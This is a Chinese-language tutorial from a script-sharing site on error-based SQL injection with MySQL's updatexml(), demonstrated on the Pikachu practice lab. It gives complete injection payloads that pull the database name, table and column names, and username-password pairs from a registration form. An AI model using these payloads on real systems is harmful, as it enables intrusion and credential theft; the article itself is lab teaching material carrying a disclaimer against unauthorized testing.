详解SQL报错盲注

 更新时间:2022年07月22日 14:40:44   作者:永远是少年啊  
这篇文章主要介绍了SQL报错盲注详解,包括SQL报错函数,SQL报错盲注payload构造,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

在这里插入图片描述

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

在这里插入图片描述

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

在这里插入图片描述

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

在这里插入图片描述

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

在这里插入图片描述

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

在这里插入图片描述

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • SQL计算用户留存率问题

    SQL计算用户留存率问题

    电商业务中需要计算用户留存情况,在时间维度上可以分为用户次日、多日后的留存情况,本文就来详细的介绍一下如何计算,具有一定的参考价值,感兴趣的可以了解一下
    2024-09-09
  • sql server多行数据合并一行显示简单实现代码

    sql server多行数据合并一行显示简单实现代码

    有时候我们需要将多行数据按照某一列进行合并,以便更方便地进行数据分析和处理,这篇文章主要给大家介绍了关于sql server多行数据合并一行显示简单实现的相关资料,需要的朋友可以参考下
    2023-12-12
  • SQL Server的彻底卸载与再次安装方式

    SQL Server的彻底卸载与再次安装方式

    这篇文章主要介绍了SQL Server的彻底卸载与再次安装方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-05-05
  • SQL Server误区30日谈 第6天 有关NULL位图的三个误区

    SQL Server误区30日谈 第6天 有关NULL位图的三个误区

    NULL位图是为了确定行中的哪一列是NULL值,哪一列不是。这样做的目的是当Select语句后包含存在NULL值的列时,避免了存储引擎去读所有的行来查看是否是NULL,从而提升了性能
    2013-01-01
  • SQL Server怎么找出一个表包含的页信息(Page)

    SQL Server怎么找出一个表包含的页信息(Page)

    这篇文章主要给大家介绍了关于SQL Server是如何找出一个表包含的页信息(Page)的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用SQL Server具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-10-10
  • 把excel表格里的数据导入sql数据库的两种方法

    把excel表格里的数据导入sql数据库的两种方法

    这篇文章介绍了把excel表格里的数据导入sql数据库的两种方法,有需要的朋友可以参考一下
    2013-09-09
  • 关于SQL Server中bit类型字段增删查改的一些事

    关于SQL Server中bit类型字段增删查改的一些事

    在 SQL Server中,用来处理判断flag的字段,使用bit类型,下面这篇文章主要给大家介绍了关于SQL Server中bit类型字段增删查改的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考借鉴,下面来一起看看吧。
    2017-09-09
  • 浅谈SQLServer的ISNULL函数与Mysql的IFNULL函数用法详解

    浅谈SQLServer的ISNULL函数与Mysql的IFNULL函数用法详解

    本篇文章是对SQLServer的ISNULL函数与Mysql的IFNULL函数进行了详细的分析介绍,需要的朋友参考下
    2013-06-06
  • sqlserver 游标的简单示例

    sqlserver 游标的简单示例

    比较简单的例子,学习sqlserver游标
    2008-10-10
  • sqlserver复制数据库的方法步骤(图文)

    sqlserver复制数据库的方法步骤(图文)

    这篇文章主要介绍了sqlserver复制数据库的方法步骤(图文),文中通过图文示例介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-04-04

最新评论